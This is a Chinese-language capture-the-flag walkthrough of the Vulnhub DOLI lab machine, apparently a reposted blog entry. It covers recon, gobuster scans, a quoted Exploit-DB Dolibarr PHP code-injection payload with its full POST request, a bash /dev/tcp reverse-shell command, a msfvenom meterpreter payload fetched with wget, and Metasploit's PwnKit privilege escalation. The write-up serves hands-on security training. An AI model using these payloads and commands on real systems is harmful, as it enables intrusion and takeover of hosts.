Vulnhub-DOLI: 1渗透

Vulnhub靶机下载链接:

点我直接下载靶机icon-default.png?t=N7T8https://download.vulnhub.com/doli/doli-vulnhub-fixed.ova

如果不会导入Vulnhub上的靶机,请点击我直达发车文章

在下面的操作中如果有不懂的可以直接私信博主

渗透概括

  1. web域名破解
  2. 子域爆破
  3. web目录爆破
  4. 搭建Mysql(用于配置靶机web)
  5. php代码注入
  6. 制作反弹shell
  7. msf的cve_2021_4034_pwnkit_lpe_pkexec模块提权

虚拟机的IP配置

通过arp-scanl -l来获取当前网段的存活ip。

再根据创建虚拟机的时候的MAC地址就可以拿到靶机的IP

Vulnhub-DOLI: 1渗透_第1张图片

  • Kali IP:192.168.100.7
  • 靶机IP:192.168.100.33

渗透目标: 

  • 获取靶机/root/目录下的flag文件

第一步:信息收集

我们这里用nmap -sS -sV -A -T4 -p- IP对靶机进行全端口综合扫描

扫描结果如下

Vulnhub-DOLI: 1渗透_第2张图片

通过nmap扫描发现开放了http/80和ssh/22这两个端口,ssh的服务一般除了弱口令就没什么可以直接利用的洞了(如果有,一点要私信博主讨论)

第二步:渗透测试

看来这个靶机渗透思路就是要从http下手了,我们接下来访问一下这个靶机的web服务


发现是一个Apache搭建的网站,这个页面是Apache的默认页(这里挺奇怪的,nmap扫的时候中间件是nginx,结果主页却是apache,有点奇怪的东西在里面)

Ctrl+u查看网页的源码,也没发现什么特别的地方。如下两图

Vulnhub-DOLI: 1渗透_第3张图片Vulnhub-DOLI: 1渗透_第4张图片

既然都没有我们就直接用gobuster爆破目录

发现居然什么都没有扫描到,只有一个主界面的index.html文件(下图)

gobuster dir -u http://192.168.100.33/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

Vulnhub-DOLI: 1渗透_第5张图片

后来博主在一个渗透大佬那了解到,要给这个靶机一个"doli.thm"的域名和一个"erp.doli.thm"的子域(这个子域是爆出来的)

根据如下操作给hosts文件添加这个靶机的ip和域名解析
PS:该靶机的Github项目icon-default.png?t=N7T8https://github.com/Dolibarr/dolibarr

Vulnhub-DOLI: 1渗透_第6张图片


第三步:php代码注入

我们用"searchsploit doli"搜一下这个项目的exp

发现了一个PHP的代码注入的说明文件。

Vulnhub-DOLI: 1渗透_第7张图片

我们cat一下看看这个说明文件,如下

┌──(root㉿kali)-[~]
└─# cat /usr/share/exploitdb/exploits/php/webapps/44964.txt
# Exploit Title: Unauthenticated Remote Code Evaluation in Dolibarr ERP CRM =<7.0.3
# Date: 06/29/2018
# Exploit Author: om3rcitak - https://omercitak.com
# Vendor Homepage: https://dolibarr.org
# Software Link: https://github.com/Dolibarr/dolibarr
# Version: =<7.0.3
# Tested on: Unix, Windows

## Technical Details
URL: http://{domain}/{dolibarr_path}/install/step1.php
Parameter Name: db_name
Parameter Type: POST
Attack Pattern: x\';system($_GET[cmd]);//

## Steps to reproduce the behavior
- Go to fresh install page.
- Click "Next Step" button for create example config file (conf/conf.php)
- Send this request:
```
POST {dolibarr_path}/install/step1.php HTTP/1.1
Host: {domain}

testpost=ok&action=set&main_dir=C%3A%2FAmpps%2Fwww&main_data_dir=C%3A%2FAmpps%2Fwww%2Fdocuments&main_url=http%3A%2F%2Flocalhost+&db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F&db_type=mysqli&db_host=localhost&db_port=3306&db_prefix=llx_&db_create_database=on&db_user=root&db_pass=root&db_create_user=on&db_user_root=root&db_pass_root=root&selectlang=auto
```
- Visit url and run the command: `http://{domain}/{dolibarr_path}/install/check.php?cmd=cat /etc/passwd`

## Timeline
- 06/29/2018 18:30 - Found vulnerability.
- 06/29/2018 18:44 - Report vendor.
- 06/29/2018 20:38 - Vulnerability fixed by vendor.

GitHub Issue: https://github.com/Dolibarr/dolibarr/issues/9032

这个说明文件大概内容就是

通过修改这个数据库的配置文件发出请求的db_name(改为这个说明文件上面的exp代码就可以完成注入)

然后再通过这个网站的/install/step1.php的安装文件来利用这个注入进去的代码

那么下面开始实操

我们通过gubuter工具来爆一下/install/下面的目录

gobuster dir -u http://erp.doli.thm/install/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

Vulnhub-DOLI: 1渗透_第8张图片

发现了一个Brian.php的php文件,并且302到的位置有一个/Seth.php?testget=ok的参数,所以是这个文件没错了

那么我们访问一下这个php文件

Vulnhub-DOLI: 1渗透_第9张图片

 我们直接拉到这个网站最底下,点击这个star按钮


点击那个按钮之后即可跳转到如下的mysql配置界面

下面的操作需要在Kali搭建Mysql数据库(可以先自己看看教程),否则无法利用

根据那个44964.txt说明文件数据库搭建好之后我们需要使用Burpsuite来抓包,来修改db_name字段

Vulnhub-DOLI: 1渗透_第10张图片

点击那个按钮之后我们的Burpsuite就会弹出来,如下图

我们需要修改db_name参数里面的值

db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F

Vulnhub-DOLI: 1渗透_第11张图片

发送之后我们接下再来访问一下Brain.php界面

http://erp.doli.thm/install/Brian.php

Vulnhub-DOLI: 1渗透_第12张图片

会发现自动跳转到了Seth.php界面了,如下图

Vulnhub-DOLI: 1渗透_第13张图片

我们现在给Seth.php传一下cmd=whoami,发现正常返回了当前的用户名了

Vulnhub-DOLI: 1渗透_第14张图片


第四步:Getrshell!!!

我们使用kali利用nc工具监听一下1234端口,用于获取反弹shell

Vulnhub-DOLI: 1渗透_第15张图片

我们在给cmd参数注入如下命令,然后回车

bash+-c+%27bash+-i+%3E%26+/dev/tcp/192.168.100.7/1234+0%3E%261%27

Vulnhub-DOLI: 1渗透_第16张图片

可以看到下图,我们的nc监听的端口拿到了web反弹下来的shell了

Vulnhub-DOLI: 1渗透_第17张图片


第五步:提权

我们对nginx的日志目录进行审查一下,如下

#到/var/log/nginx目录下
www-data@Doli:/tmp$ cd /var/log/nginx

#用ls =al发现有一个.bk的可疑文件
www-data@Doli:/var/log/nginx$ ls -al
total 535240
drwxr-xr-x  3 root     adm           4096 Mar 22  2021 .
drwxrwxr-x 10 root     syslog        4096 Nov 26 15:35 ..
drwxr-xr-x  2 www-data www-data      4096 Mar 22  2021 .bk
-rw-r-----  1 www-data adm      338119216 Nov 26 23:52 access.log
-rw-r-----  1 www-data adm      209943239 Nov 26 23:43 error.log

#cd到这个.bk文件里面
www-data@Doli:/var/log/nginx$ cd .bk

#再用ls -al看一下,发现了一个access.log.bk文件
www-data@Doli:/var/log/nginx/.bk$ ls -al
total 180
drwxr-xr-x 2 www-data www-data   4096 Mar 22  2021 .
drwxr-xr-x 3 root     adm        4096 Mar 22  2021 ..
-rw-r----- 1 www-data www-data 175190 Mar 21  2021 access.log.bk

我们用cat看看这个access.log.bk文件,往里下面慢慢翻,发现了一个被编码的GET请求

Vulnhub-DOLI: 1渗透_第18张图片

172.16.1.1 - - [20/Mar/2021:13:03:38 +0000] "GET/5455644852464247526b464a526b4e4254455a435155314752304651516b5a4653554e4453464243526b564a5304e45544564435245314652304a4c5155464754304646526b74425155593d HTTP/1.1" 403 152 "-""Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0"

我们现在找找其他的关键线索

前往/opt目录找找,如下操作

#我们现在切换到/opt目录
www-data@Doli:/var/log/nginx/.bk$ cd /opt

#用ls -al看一下,发现了一个ViewMe.png文件
www-data@Doli:/opt$ ls -al
total 44
drwxr-xr-x   4 root     root      4096 Mar 22  2021 .
drwxr-xr-x  23 root     root      4096 Nov 26 15:35 ..
-rw-r--r--   1 www-data www-data 21494 Oct 22  2013 ViewMe.png
drwxrwxr-x+  2 c3p0     c3p0      4096 Mar 21  2021 playbooks
dr--------   2 root     root      4096 Mar 21  2021 secrets
-rwxrwxr-x   1 root     m3dsec      55 Mar 22  2021 stewie.el

我们把这个文件拷贝到这个网站的install目录下
www-data@Doli:/opt$ cp ViewMe.png /var/www/dolibarr/htdocs/install/

我们通过访问http://erp.doli.thm/install/ViewMe.png

如下,发现了一个写着一个CiTR!X的字样(盲猜Citrix编码),这应该是一个加密方法

我们访问CyberChef (gchq.github.io)这个页面,对我们上面获得编码信息进行解码

Vulnhub-DOLI: 1渗透_第19张图片

可以看到Output处就出现了一个c3p0p4ssw0rd@@的密码

如下图,我们到/home目录下看到工号有一个c3p0的用户

Vulnhub-DOLI: 1渗透_第20张图片

我们用我们获取到的密码ssh登录一下c3p0这个用户,如下图,成功登录

Vulnhub-DOLI: 1渗透_第21张图片


我们现在回到kali里面去 ,用msfvenom生成一个meterpreter的载荷

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.100.7 LPORT=5678 -f elf > shell.elf

再拿python开一个http服务,好用靶机的wget下载这个生成好的文件

Vulnhub-DOLI: 1渗透_第22张图片

我们再开一个终端,进入msf里面,使用exploit/multi/handler模块并配置一下监听地址和payload

如下图操作所示

Vulnhub-DOLI: 1渗透_第23张图片

现在我们再到ssh连接的这里来,用wget下载一下这个payload

并且用"chmod +x shell.elf"命令给这个文件一个执行权限,并用./shell.elf执行这个文件

Vulnhub-DOLI: 1渗透_第24张图片

执行完之后,我们就会发现我们之前在msf的handler模块已经监听到了反弹过来的meterpreter

我们在这里执行一下"background"命令,把这个会话保存到后台去


我们使用msf的"linux/local/cve_2021_4034_pwnkit_lpe_pkexec"模块给靶机提权

根据下图进行操作

Vulnhub-DOLI: 1渗透_第25张图片

攻击成功之后,我们用shell命令进入到靶机的命令行,进行如下操作

Vulnhub-DOLI: 1渗透_第26张图片


获取到flag之后我们的靶机就已经渗透完成

你可能感兴趣的:(Vulnhub靶机渗透,安全,安全威胁分析,网络攻击模型,密码学,网络安全)